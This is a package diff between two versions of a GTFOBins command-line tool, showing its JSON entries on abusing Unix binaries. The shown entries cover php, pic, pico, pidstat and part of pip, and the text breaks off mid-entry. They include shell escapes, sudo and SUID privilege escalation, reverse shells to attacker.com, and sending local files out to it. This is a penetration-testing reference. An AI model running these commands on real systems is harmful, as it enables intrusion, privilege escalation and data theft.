gtfobins-cli 1.0.0__py3-none-any.whl → 1.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- gtfo/__init__.py +2 -1
- gtfo/cli.py +204 -32
- gtfo/data/7z.json +16 -0
- gtfo/data/aa-exec.json +22 -0
- gtfo/data/ab.json +28 -0
- gtfo/data/acr.json +16 -0
- gtfo/data/agetty.json +10 -0
- gtfo/data/alpine.json +22 -0
- gtfo/data/ansible-playbook.json +16 -0
- gtfo/data/ansible-test.json +16 -0
- gtfo/data/aoss.json +16 -0
- gtfo/data/apache2ctl.json +16 -0
- gtfo/data/apport-cli.json +22 -0
- gtfo/data/apt-get.json +6 -6
- gtfo/data/apt.json +8 -8
- gtfo/data/aptitude.json +16 -0
- gtfo/data/ar.json +6 -4
- gtfo/data/aria2c.json +17 -5
- gtfo/data/arj.json +28 -0
- gtfo/data/arp.json +7 -5
- gtfo/data/as.json +22 -0
- gtfo/data/ascii-xfr.json +22 -0
- gtfo/data/ascii85.json +16 -0
- gtfo/data/ash.json +9 -5
- gtfo/data/aspell.json +22 -0
- gtfo/data/asterisk.json +20 -0
- gtfo/data/at.json +3 -1
- gtfo/data/atobm.json +6 -4
- gtfo/data/awk.json +20 -14
- gtfo/data/aws.json +16 -0
- gtfo/data/base32.json +7 -4
- gtfo/data/base58.json +16 -0
- gtfo/data/base64.json +7 -4
- gtfo/data/basenc.json +6 -3
- gtfo/data/basez.json +22 -0
- gtfo/data/bash.json +22 -17
- gtfo/data/bashbug.json +14 -0
- gtfo/data/batcat.json +22 -0
- gtfo/data/bc.json +22 -0
- gtfo/data/bconsole.json +22 -0
- gtfo/data/bee.json +10 -0
- gtfo/data/borg.json +16 -0
- gtfo/data/bpftrace.json +6 -3
- gtfo/data/bridge.json +22 -0
- gtfo/data/bundle.json +32 -0
- gtfo/data/bundler.json +7 -4
- gtfo/data/busctl.json +14 -3
- gtfo/data/busybox.json +17 -8
- gtfo/data/byebug.json +4 -1
- gtfo/data/bzip2.json +22 -0
- gtfo/data/c89.json +28 -0
- gtfo/data/c99.json +28 -0
- gtfo/data/cabal.json +22 -0
- gtfo/data/cancel.json +3 -3
- gtfo/data/capsh.json +6 -3
- gtfo/data/cargo.json +14 -0
- gtfo/data/cat.json +7 -4
- gtfo/data/cdist.json +16 -0
- gtfo/data/certbot.json +2 -0
- gtfo/data/chattr.json +14 -0
- gtfo/data/check_by_ssh.json +2 -3
- gtfo/data/check_cups.json +4 -3
- gtfo/data/check_log.json +20 -18
- gtfo/data/check_memory.json +4 -3
- gtfo/data/check_raid.json +4 -3
- gtfo/data/check_ssl_cert.json +2 -3
- gtfo/data/check_statusfile.json +4 -3
- gtfo/data/chmod.json +4 -3
- gtfo/data/choom.json +22 -0
- gtfo/data/chown.json +5 -4
- gtfo/data/chroot.json +3 -1
- gtfo/data/chrt.json +28 -0
- gtfo/data/clamscan.json +22 -0
- gtfo/data/clisp.json +16 -0
- gtfo/data/cmake.json +28 -0
- gtfo/data/cmp.json +22 -0
- gtfo/data/cobc.json +3 -1
- gtfo/data/code.json +22 -0
- gtfo/data/column.json +6 -4
- gtfo/data/comm.json +6 -3
- gtfo/data/composer.json +3 -0
- gtfo/data/cowsay.json +2 -1
- gtfo/data/cowthink.json +16 -14
- gtfo/data/cp.json +21 -9
- gtfo/data/cpan.json +8 -7
- gtfo/data/cpio.json +14 -12
- gtfo/data/cpulimit.json +6 -3
- gtfo/data/crash.json +5 -4
- gtfo/data/crontab.json +5 -5
- gtfo/data/csh.json +9 -5
- gtfo/data/csplit.json +12 -3
- gtfo/data/csvtool.json +8 -5
- gtfo/data/ctr.json +10 -0
- gtfo/data/cupsfilter.json +6 -3
- gtfo/data/curl.json +19 -7
- gtfo/data/cut.json +7 -4
- gtfo/data/dash.json +9 -5
- gtfo/data/date.json +7 -5
- gtfo/data/dc.json +22 -0
- gtfo/data/dd.json +9 -5
- gtfo/data/debugfs.json +22 -0
- gtfo/data/dhclient.json +10 -0
- gtfo/data/dialog.json +7 -5
- gtfo/data/diff.json +11 -4
- gtfo/data/dig.json +6 -4
- gtfo/data/distcc.json +22 -0
- gtfo/data/dmesg.json +4 -4
- gtfo/data/dmidecode.json +10 -0
- gtfo/data/dmsetup.json +3 -1
- gtfo/data/dnf.json +3 -3
- gtfo/data/dnsmasq.json +10 -0
- gtfo/data/doas.json +10 -0
- gtfo/data/docker.json +9 -6
- gtfo/data/dos2unix.json +10 -0
- gtfo/data/dosbox.json +32 -0
- gtfo/data/dotnet.json +22 -0
- gtfo/data/dpkg.json +5 -5
- gtfo/data/dstat.json +16 -0
- gtfo/data/dvips.json +3 -1
- gtfo/data/easy_install.json +14 -11
- gtfo/data/eb.json +3 -2
- gtfo/data/ed.json +9 -3
- gtfo/data/efax.json +16 -0
- gtfo/data/elvish.json +34 -0
- gtfo/data/emacs.json +11 -6
- gtfo/data/enscript.json +16 -0
- gtfo/data/env.json +7 -4
- gtfo/data/eqn.json +7 -5
- gtfo/data/espeak.json +22 -0
- gtfo/data/ex.json +30 -22
- gtfo/data/exiftool.json +26 -4
- gtfo/data/expand.json +7 -5
- gtfo/data/expect.json +13 -4
- gtfo/data/facter.json +4 -2
- gtfo/data/fail2ban-client.json +14 -0
- gtfo/data/ffmpeg.json +10 -0
- gtfo/data/file.json +8 -8
- gtfo/data/find.json +19 -4
- gtfo/data/finger.json +5 -6
- gtfo/data/firejail.json +35 -0
- gtfo/data/fish.json +22 -0
- gtfo/data/flock.json +7 -4
- gtfo/data/fmt.json +5 -6
- gtfo/data/fold.json +7 -4
- gtfo/data/fping.json +16 -0
- gtfo/data/ftp.json +5 -3
- gtfo/data/fzf.json +90 -0
- gtfo/data/gawk.json +17 -11
- gtfo/data/gcc.json +12 -4
- gtfo/data/gcloud.json +16 -0
- gtfo/data/gcore.json +22 -0
- gtfo/data/gdb.json +15 -13
- gtfo/data/gem.json +8 -8
- gtfo/data/genie.json +22 -0
- gtfo/data/genisoimage.json +11 -4
- gtfo/data/getent.json +14 -0
- gtfo/data/ghc.json +4 -2
- gtfo/data/ghci.json +2 -0
- gtfo/data/gimp.json +19 -14
- gtfo/data/ginsh.json +22 -0
- gtfo/data/git.json +22 -11
- gtfo/data/gnuplot.json +16 -0
- gtfo/data/go.json +58 -0
- gtfo/data/grc.json +16 -0
- gtfo/data/grep.json +7 -5
- gtfo/data/gtester.json +10 -1
- gtfo/data/guile.json +16 -0
- gtfo/data/gzip.json +14 -5
- gtfo/data/hashcat.json +16 -0
- gtfo/data/hd.json +7 -5
- gtfo/data/head.json +7 -4
- gtfo/data/hexdump.json +7 -5
- gtfo/data/hg.json +16 -0
- gtfo/data/highlight.json +7 -4
- gtfo/data/hping3.json +7 -0
- gtfo/data/iconv.json +9 -6
- gtfo/data/iftop.json +3 -1
- gtfo/data/install.json +4 -3
- gtfo/data/ionice.json +7 -4
- gtfo/data/ip.json +11 -5
- gtfo/data/irb.json +13 -8
- gtfo/data/ispell.json +22 -0
- gtfo/data/java.json +10 -0
- gtfo/data/jjs.json +13 -10
- gtfo/data/joe.json +22 -0
- gtfo/data/join.json +6 -3
- gtfo/data/journalctl.json +3 -2
- gtfo/data/jq.json +7 -4
- gtfo/data/jrunscript.json +13 -10
- gtfo/data/jshell.json +35 -0
- gtfo/data/jtag.json +16 -0
- gtfo/data/julia.json +46 -0
- gtfo/data/knife.json +16 -0
- gtfo/data/ksh.json +19 -15
- gtfo/data/ksshell.json +7 -5
- gtfo/data/ksu.json +10 -0
- gtfo/data/kubectl.json +30 -0
- gtfo/data/last.json +16 -0
- gtfo/data/lastb.json +16 -0
- gtfo/data/latex.json +11 -2
- gtfo/data/latexmk.json +9 -6
- gtfo/data/ld.so.json +7 -5
- gtfo/data/ldconfig.json +1 -2
- gtfo/data/less.json +17 -7
- gtfo/data/lessfilter.json +22 -0
- gtfo/data/lesspipe.json +16 -0
- gtfo/data/lftp.json +22 -0
- gtfo/data/links.json +22 -0
- gtfo/data/ln.json +10 -0
- gtfo/data/loginctl.json +16 -0
- gtfo/data/logrotate.json +38 -0
- gtfo/data/logsave.json +7 -4
- gtfo/data/look.json +7 -4
- gtfo/data/lp.json +10 -0
- gtfo/data/ltrace.json +7 -5
- gtfo/data/lua.json +21 -15
- gtfo/data/lualatex.json +6 -4
- gtfo/data/luatex.json +6 -4
- gtfo/data/lwp-download.json +7 -5
- gtfo/data/lwp-request.json +4 -2
- gtfo/data/m4.json +59 -0
- gtfo/data/mail.json +3 -3
- gtfo/data/make.json +15 -7
- gtfo/data/man.json +5 -3
- gtfo/data/mawk.json +12 -6
- gtfo/data/minicom.json +26 -0
- gtfo/data/more.json +7 -3
- gtfo/data/mosh-server.json +10 -0
- gtfo/data/mosquitto.json +22 -0
- gtfo/data/mount.json +2 -2
- gtfo/data/msfconsole.json +16 -0
- gtfo/data/msgattrib.json +22 -0
- gtfo/data/msgcat.json +22 -0
- gtfo/data/msgconv.json +22 -0
- gtfo/data/msgfilter.json +28 -0
- gtfo/data/msgmerge.json +22 -0
- gtfo/data/msguniq.json +22 -0
- gtfo/data/mtr.json +5 -4
- gtfo/data/multitime.json +22 -0
- gtfo/data/mutt.json +14 -0
- gtfo/data/mv.json +5 -4
- gtfo/data/mypy.json +26 -0
- gtfo/data/mysql.json +9 -7
- gtfo/data/nano.json +9 -5
- gtfo/data/nasm.json +22 -0
- gtfo/data/nawk.json +16 -10
- gtfo/data/nc.json +13 -13
- gtfo/data/ncdu.json +22 -0
- gtfo/data/ncftp.json +22 -0
- gtfo/data/neofetch.json +22 -0
- gtfo/data/nft.json +22 -0
- gtfo/data/nginx.json +22 -0
- gtfo/data/nice.json +7 -4
- gtfo/data/nl.json +7 -5
- gtfo/data/nm.json +22 -0
- gtfo/data/nmap.json +26 -16
- gtfo/data/node.json +18 -12
- gtfo/data/nohup.json +10 -6
- gtfo/data/npm.json +6 -0
- gtfo/data/nroff.json +3 -1
- gtfo/data/nsenter.json +5 -3
- gtfo/data/ntpdate.json +22 -0
- gtfo/data/nvim.json +16 -0
- gtfo/data/octave.json +34 -0
- gtfo/data/od.json +7 -5
- gtfo/data/openssl.json +21 -16
- gtfo/data/openvpn.json +13 -5
- gtfo/data/openvt.json +1 -1
- gtfo/data/opkg.json +10 -0
- gtfo/data/pandoc.json +40 -0
- gtfo/data/passwd.json +10 -0
- gtfo/data/paste.json +6 -3
- gtfo/data/pax.json +10 -0
- gtfo/data/pdb.json +3 -2
- gtfo/data/pdflatex.json +5 -2
- gtfo/data/pdftex.json +3 -0
- gtfo/data/perf.json +22 -0
- gtfo/data/perl.json +28 -7
- gtfo/data/perlbug.json +16 -0
- gtfo/data/pexec.json +22 -0
- gtfo/data/pg.json +7 -3
- gtfo/data/php.json +25 -15
- gtfo/data/pic.json +10 -1
- gtfo/data/pico.json +8 -4
- gtfo/data/pidstat.json +22 -0
- gtfo/data/pip.json +19 -8
- gtfo/data/pipx.json +25 -0
- gtfo/data/pkexec.json +3 -2
- gtfo/data/pkg.json +1 -1
- gtfo/data/plymouth.json +10 -0
- gtfo/data/podman.json +10 -0
- gtfo/data/poetry.json +26 -0
- gtfo/data/posh.json +22 -0
- gtfo/data/pr.json +6 -4
- gtfo/data/procmail.json +10 -0
- gtfo/data/pry.json +4 -1
- gtfo/data/psftp.json +22 -0
- gtfo/data/psql.json +14 -1
- gtfo/data/ptx.json +22 -0
- gtfo/data/puppet.json +6 -4
- gtfo/data/pwsh.json +22 -0
- gtfo/data/pygmentize.json +14 -0
- gtfo/data/pyright.json +32 -0
- gtfo/data/python.json +21 -15
- gtfo/data/qpdf.json +18 -0
- gtfo/data/r.json +16 -0
- gtfo/data/rake.json +13 -4
- gtfo/data/rc.json +22 -0
- gtfo/data/readelf.json +7 -5
- gtfo/data/red.json +7 -5
- gtfo/data/redcarpet.json +5 -4
- gtfo/data/redis.json +10 -0
- gtfo/data/restic.json +13 -5
- gtfo/data/rev.json +6 -3
- gtfo/data/rlogin.json +3 -4
- gtfo/data/rlwrap.json +9 -6
- gtfo/data/rpm.json +9 -5
- gtfo/data/rpmdb.json +22 -0
- gtfo/data/rpmquery.json +6 -3
- gtfo/data/rpmverify.json +22 -0
- gtfo/data/rsync.json +7 -4
- gtfo/data/rsyslogd.json +16 -0
- gtfo/data/rtorrent.json +16 -0
- gtfo/data/ruby.json +17 -11
- gtfo/data/run-mailcap.json +7 -7
- gtfo/data/run-parts.json +7 -4
- gtfo/data/runscript.json +22 -0
- gtfo/data/rustdoc.json +26 -0
- gtfo/data/rustfmt.json +15 -0
- gtfo/data/rustup.json +22 -0
- gtfo/data/rview.json +36 -34
- gtfo/data/rvim.json +41 -35
- gtfo/data/sash.json +8 -5
- gtfo/data/scanmem.json +22 -0
- gtfo/data/scp.json +6 -3
- gtfo/data/screen.json +9 -7
- gtfo/data/script.json +6 -4
- gtfo/data/scrot.json +22 -0
- gtfo/data/sed.json +12 -9
- gtfo/data/service.json +5 -3
- gtfo/data/setarch.json +7 -4
- gtfo/data/setcap.json +16 -0
- gtfo/data/setfacl.json +16 -0
- gtfo/data/setlock.json +22 -0
- gtfo/data/sftp.json +7 -5
- gtfo/data/sg.json +1 -0
- gtfo/data/shred.json +16 -0
- gtfo/data/shuf.json +5 -5
- gtfo/data/slsh.json +22 -0
- gtfo/data/smbclient.json +9 -8
- gtfo/data/snap.json +2 -2
- gtfo/data/socat.json +23 -11
- gtfo/data/socket.json +16 -0
- gtfo/data/soelim.json +7 -5
- gtfo/data/softlimit.json +22 -0
- gtfo/data/sort.json +13 -4
- gtfo/data/split.json +15 -4
- gtfo/data/sqlite3.json +12 -6
- gtfo/data/sqlmap.json +16 -0
- gtfo/data/ss.json +6 -4
- gtfo/data/ssh-agent.json +22 -0
- gtfo/data/ssh-copy-id.json +24 -0
- gtfo/data/ssh-keygen.json +6 -6
- gtfo/data/ssh-keyscan.json +22 -0
- gtfo/data/ssh.json +11 -7
- gtfo/data/sshfs.json +42 -0
- gtfo/data/sshpass.json +22 -0
- gtfo/data/sshuttle.json +10 -0
- gtfo/data/start-stop-daemon.json +7 -4
- gtfo/data/stdbuf.json +7 -4
- gtfo/data/strace.json +8 -5
- gtfo/data/strings.json +7 -5
- gtfo/data/su.json +3 -2
- gtfo/data/sudo.json +10 -0
- gtfo/data/svn.json +10 -0
- gtfo/data/sysctl.json +13 -5
- gtfo/data/systemctl.json +7 -4
- gtfo/data/systemd-resolve.json +10 -0
- gtfo/data/systemd-run.json +60 -0
- gtfo/data/tac.json +7 -5
- gtfo/data/tail.json +7 -4
- gtfo/data/tailscale.json +10 -0
- gtfo/data/tar.json +14 -11
- gtfo/data/task.json +16 -0
- gtfo/data/taskset.json +7 -4
- gtfo/data/tasksh.json +22 -0
- gtfo/data/tbl.json +6 -4
- gtfo/data/tclsh.json +11 -6
- gtfo/data/tcpdump.json +11 -4
- gtfo/data/tcsh.json +28 -0
- gtfo/data/tdbtool.json +22 -0
- gtfo/data/tee.json +9 -7
- gtfo/data/telnet.json +6 -6
- gtfo/data/terraform.json +22 -0
- gtfo/data/tex.json +3 -0
- gtfo/data/tftp.json +5 -5
- gtfo/data/tic.json +22 -0
- gtfo/data/time.json +7 -5
- gtfo/data/timedatectl.json +16 -0
- gtfo/data/timeout.json +7 -4
- gtfo/data/tmate.json +22 -0
- gtfo/data/tmux.json +15 -3
- gtfo/data/top.json +2 -2
- gtfo/data/torify.json +16 -0
- gtfo/data/torsocks.json +16 -0
- gtfo/data/troff.json +6 -4
- gtfo/data/tsc.json +26 -0
- gtfo/data/tshark.json +10 -0
- gtfo/data/ul.json +7 -5
- gtfo/data/unexpand.json +7 -4
- gtfo/data/uniq.json +7 -5
- gtfo/data/unshare.json +7 -4
- gtfo/data/unsquashfs.json +16 -0
- gtfo/data/unzip.json +16 -0
- gtfo/data/update-alternatives.json +4 -4
- gtfo/data/urlget.json +16 -0
- gtfo/data/uudecode.json +22 -0
- gtfo/data/uuencode.json +21 -18
- gtfo/data/uv.json +43 -0
- gtfo/data/vagrant.json +22 -0
- gtfo/data/valgrind.json +5 -3
- gtfo/data/varnishncsa.json +16 -0
- gtfo/data/vi.json +18 -6
- gtfo/data/view.json +41 -36
- gtfo/data/vigr.json +16 -0
- gtfo/data/vim.json +43 -38
- gtfo/data/vimdiff.json +41 -36
- gtfo/data/vipw.json +16 -0
- gtfo/data/virsh.json +6 -5
- gtfo/data/volatility.json +10 -0
- gtfo/data/w3m.json +22 -0
- gtfo/data/wall.json +10 -0
- gtfo/data/watch.json +9 -6
- gtfo/data/wc.json +6 -4
- gtfo/data/wg-quick.json +10 -0
- gtfo/data/wget.json +17 -11
- gtfo/data/whiptail.json +22 -0
- gtfo/data/whois.json +9 -10
- gtfo/data/wireshark.json +16 -0
- gtfo/data/wish.json +5 -3
- gtfo/data/xargs.json +9 -8
- gtfo/data/xdg-user-dir.json +16 -0
- gtfo/data/xdotool.json +22 -0
- gtfo/data/xelatex.json +5 -2
- gtfo/data/xetex.json +3 -0
- gtfo/data/xmodmap.json +6 -4
- gtfo/data/xmore.json +6 -4
- gtfo/data/xpad.json +16 -0
- gtfo/data/xxd.json +9 -5
- gtfo/data/xz.json +7 -4
- gtfo/data/yarn.json +20 -0
- gtfo/data/yash.json +22 -0
- gtfo/data/yelp.json +2 -2
- gtfo/data/yt-dlp.json +24 -0
- gtfo/data/yum.json +4 -4
- gtfo/data/zathura.json +16 -0
- gtfo/data/zcat.json +10 -0
- gtfo/data/zic.json +20 -0
- gtfo/data/zip.json +5 -1
- gtfo/data/zless.json +15 -0
- gtfo/data/zsh.json +10 -5
- gtfo/data/zsoelim.json +7 -5
- gtfo/data/zypper.json +5 -3
- gtfo/images/filter-with.png +0 -0
- gtfo/images/search-docker.png +0 -0
- gtfo/images/search-for.png +0 -0
- gtfo/images/search-interactive.png +0 -0
- gtfo/images/sqlit3.png +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/METADATA +66 -17
- gtfobins_cli-1.1.0.dist-info/RECORD +474 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/WHEEL +1 -1
- gtfo/data/octave-cli.json +0 -30
- gtfo/data/ssh_keyscan.json +0 -20
- gtfobins_cli-1.0.0.dist-info/RECORD +0 -263
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/entry_points.txt +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/licenses/LICENSE +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/top_level.txt +0 -0
gtfo/data/php.json
CHANGED
|
@@ -2,68 +2,78 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "export CMD=\"/bin/sh\"\nphp -r 'system(getenv(\"CMD\"));'\n"
|
|
6
7
|
},
|
|
7
8
|
{
|
|
8
|
-
|
|
9
|
+
|
|
10
|
+
"code": "export CMD=\"/bin/sh\"\nphp -r 'passthru(getenv(\"CMD\"));'\n"
|
|
9
11
|
},
|
|
10
12
|
{
|
|
11
|
-
|
|
13
|
+
|
|
14
|
+
"code": "export CMD=\"/bin/sh\"\nphp -r 'print(shell_exec(getenv(\"CMD\")));'\n"
|
|
12
15
|
},
|
|
13
16
|
{
|
|
14
|
-
|
|
17
|
+
|
|
18
|
+
"code": "export CMD=\"/bin/sh\"\nphp -r '$r=array(); exec(getenv(\"CMD\"), $r); print(join(\"\\\\n\",$r));'\n"
|
|
15
19
|
},
|
|
16
20
|
{
|
|
17
|
-
|
|
21
|
+
|
|
22
|
+
"code": "export CMD=\"/bin/sh\"\nphp -r '$h=@popen(getenv(\"CMD\"),\"r\"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'\n"
|
|
18
23
|
}
|
|
19
24
|
],
|
|
20
25
|
"command": [
|
|
21
26
|
{
|
|
22
|
-
|
|
27
|
+
|
|
28
|
+
"code": "export CMD=\"id\"\nphp -r '$p = array(array(\"pipe\",\"r\"),array(\"pipe\",\"w\"),array(\"pipe\", \"w\"));$h = @proc_open(getenv(\"CMD\"), $p, $pipes);if($h&&$pipes){while(!feof($pipes[1])) echo(fread($pipes[1],4096));while(!feof($pipes[2])) echo(fread($pipes[2],4096));fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($h);}'\n"
|
|
23
29
|
}
|
|
24
30
|
],
|
|
25
31
|
"reverse-shell": [
|
|
26
32
|
{
|
|
27
|
-
"description": "Run
|
|
28
|
-
"code": "
|
|
33
|
+
"description": "Run `nc -l -p 12345` on the attacker box to receive the shell.",
|
|
34
|
+
"code": "export RHOST=attacker.com\nexport RPORT=12345\nphp -r '$sock=fsockopen(getenv(\"RHOST\"),getenv(\"RPORT\"));exec(\"/bin/sh -i <&3 >&3 2>&3\");'\n"
|
|
29
35
|
}
|
|
30
36
|
],
|
|
31
37
|
"file-upload": [
|
|
32
38
|
{
|
|
33
39
|
"description": "Serve files in the local folder running an HTTP server. This requires PHP version 5.4 or later.",
|
|
34
|
-
"code": "
|
|
40
|
+
"code": "LHOST=0.0.0.0\nLPORT=8888\nphp -S $LHOST:$LPORT\n"
|
|
35
41
|
}
|
|
36
42
|
],
|
|
37
43
|
"file-download": [
|
|
38
44
|
{
|
|
39
45
|
"description": "Fetch a remote file via HTTP GET request.",
|
|
40
|
-
"code": "
|
|
46
|
+
"code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\nphp -r '$c=file_get_contents(getenv(\"URL\"));file_put_contents(getenv(\"LFILE\"), $c);'\n"
|
|
41
47
|
}
|
|
42
48
|
],
|
|
43
49
|
"suid": [
|
|
44
50
|
{
|
|
45
|
-
|
|
51
|
+
|
|
52
|
+
"code": "CMD=\"/bin/sh\"\n./php -r \"pcntl_exec('/bin/sh', ['-p']);\"\n"
|
|
46
53
|
}
|
|
47
54
|
],
|
|
48
55
|
"sudo": [
|
|
49
56
|
{
|
|
50
|
-
|
|
57
|
+
|
|
58
|
+
"code": "CMD=\"/bin/sh\"\nsudo php -r \"system('$CMD');\"\n"
|
|
51
59
|
}
|
|
52
60
|
],
|
|
53
61
|
"capabilities": [
|
|
54
62
|
{
|
|
55
|
-
|
|
63
|
+
|
|
64
|
+
"code": "CMD=\"/bin/sh\"\n./php -r \"posix_setuid(0); system('$CMD');\"\n"
|
|
56
65
|
}
|
|
57
66
|
],
|
|
58
67
|
"file-read": [
|
|
59
68
|
{
|
|
60
|
-
|
|
69
|
+
|
|
70
|
+
"code": "export LFILE=file_to_read\nphp -r 'readfile(getenv(\"LFILE\"));'\n"
|
|
61
71
|
}
|
|
62
72
|
],
|
|
63
73
|
"file-write": [
|
|
64
74
|
{
|
|
65
75
|
"description": "write data to a file, filename should be absolute.",
|
|
66
|
-
"code": "
|
|
76
|
+
"code": "export LFILE=file_to_write\nphp -r 'file_put_contents(getenv(\"LFILE\"), \"DATA\");'\n"
|
|
67
77
|
}
|
|
68
78
|
]
|
|
69
79
|
}
|
gtfo/data/pic.json
CHANGED
|
@@ -1,19 +1,28 @@
|
|
|
1
1
|
{
|
|
2
2
|
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
"description": "The output is prefixed with a some content as a header.",
|
|
6
|
+
"code": "LFILE=file_to_read\npic $LFILE\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
3
9
|
"shell": [
|
|
4
10
|
{
|
|
11
|
+
|
|
5
12
|
"code": "pic -U\n.PS\nsh X sh X\n"
|
|
6
13
|
}
|
|
7
14
|
],
|
|
8
15
|
"sudo": [
|
|
9
16
|
{
|
|
17
|
+
|
|
10
18
|
"code": "sudo pic -U\n.PS\nsh X sh X\n"
|
|
11
19
|
}
|
|
12
20
|
],
|
|
13
21
|
"limited-suid": [
|
|
14
22
|
{
|
|
23
|
+
|
|
15
24
|
"code": "./pic -U\n.PS\nsh X sh X\n"
|
|
16
25
|
}
|
|
17
26
|
]
|
|
18
27
|
}
|
|
19
|
-
}
|
|
28
|
+
}
|
gtfo/data/pico.json
CHANGED
|
@@ -2,31 +2,35 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
+
|
|
5
6
|
"code": "pico\n^R^X\nreset; sh 1>&0 2>&0\n"
|
|
6
7
|
},
|
|
7
8
|
{
|
|
8
|
-
"description": "The
|
|
9
|
+
"description": "The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.",
|
|
9
10
|
"code": "pico -s /bin/sh\n/bin/sh\n^T\n"
|
|
10
11
|
}
|
|
11
12
|
],
|
|
12
13
|
"file-write": [
|
|
13
14
|
{
|
|
14
|
-
|
|
15
|
+
|
|
16
|
+
"code": "pico file_to_write\nDATA\n^O\n"
|
|
15
17
|
}
|
|
16
18
|
],
|
|
17
19
|
"file-read": [
|
|
18
20
|
{
|
|
19
|
-
|
|
21
|
+
|
|
22
|
+
"code": "pico file_to_read\n"
|
|
20
23
|
}
|
|
21
24
|
],
|
|
22
25
|
"limited-suid": [
|
|
23
26
|
{
|
|
24
|
-
"description": "The
|
|
27
|
+
"description": "The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.",
|
|
25
28
|
"code": "./pico -s /bin/sh\n/bin/sh\n^T\n"
|
|
26
29
|
}
|
|
27
30
|
],
|
|
28
31
|
"sudo": [
|
|
29
32
|
{
|
|
33
|
+
|
|
30
34
|
"code": "sudo pico\n^R^X\nreset; sh 1>&0 2>&0\n"
|
|
31
35
|
}
|
|
32
36
|
]
|
gtfo/data/pidstat.json
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"command": [
|
|
4
|
+
{
|
|
5
|
+
|
|
6
|
+
"code": "COMMAND=id\npidstat -e $COMMAND\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
|
|
12
|
+
"code": "COMMAND=id\nsudo pidstat -e $COMMAND\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"suid": [
|
|
16
|
+
{
|
|
17
|
+
|
|
18
|
+
"code": "COMMAND=id\n./pidstat -e $COMMAND\n"
|
|
19
|
+
}
|
|
20
|
+
]
|
|
21
|
+
}
|
|
22
|
+
}
|
gtfo/data/pip.json
CHANGED
|
@@ -2,35 +2,40 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
+
"description": "",
|
|
5
6
|
"code": "TF=$(mktemp -d)\necho \"import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')\" > $TF/setup.py\npip install $TF\n"
|
|
7
|
+
},
|
|
8
|
+
{
|
|
9
|
+
"description": "",
|
|
10
|
+
"code": "TF=$(mktemp -d)\nprintf '#!/bin/bash\\n/bin/bash' > $TF/pwn.sh && chmod +x $TF/pwn.sh\npip config --editor $TF/pwn.sh edit\n"
|
|
6
11
|
}
|
|
7
12
|
],
|
|
8
13
|
"reverse-shell": [
|
|
9
14
|
{
|
|
10
|
-
"description": "Run
|
|
11
|
-
"code": "
|
|
15
|
+
"description": "Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.",
|
|
16
|
+
"code": "export RHOST=attacker.com\nexport RPORT=12345\nTF=$(mktemp -d)\necho 'import sys,socket,os,pty;s=socket.socket()\ns.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")' > $TF/setup.py\npip install $TF\n"
|
|
12
17
|
}
|
|
13
18
|
],
|
|
14
19
|
"file-upload": [
|
|
15
20
|
{
|
|
16
|
-
"description": "Send local file via
|
|
17
|
-
"code": "
|
|
21
|
+
"description": "Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
|
|
22
|
+
"code": "export URL=http://attacker.com/\nexport LFILE=file_to_send\nTF=$(mktemp -d)\necho 'import sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(e[\"URL\"], bytes(u.urlencode({\"d\":open(e[\"LFILE\"]).read()}).encode()))' > $TF/setup.py\npip install $TF\n"
|
|
18
23
|
},
|
|
19
24
|
{
|
|
20
25
|
"description": "Serve files in the local folder running an HTTP server.",
|
|
21
|
-
"code": "
|
|
26
|
+
"code": "export LPORT=8888\nTF=$(mktemp -d)\necho 'import sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", int(e[\"LPORT\"])), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py\npip install $TF\n"
|
|
22
27
|
}
|
|
23
28
|
],
|
|
24
29
|
"file-download": [
|
|
25
30
|
{
|
|
26
31
|
"description": "Fetch a remote file via HTTP GET request. It needs an absolute local file path.",
|
|
27
|
-
"code": "
|
|
32
|
+
"code": "export URL=http://attacker.com/file_to_get\nexport LFILE=/tmp/file_to_save\nTF=$(mktemp -d)\necho 'import sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(e[\"URL\"], e[\"LFILE\"])' > $TF/setup.py\npip install $TF\n"
|
|
28
33
|
}
|
|
29
34
|
],
|
|
30
35
|
"file-write": [
|
|
31
36
|
{
|
|
32
37
|
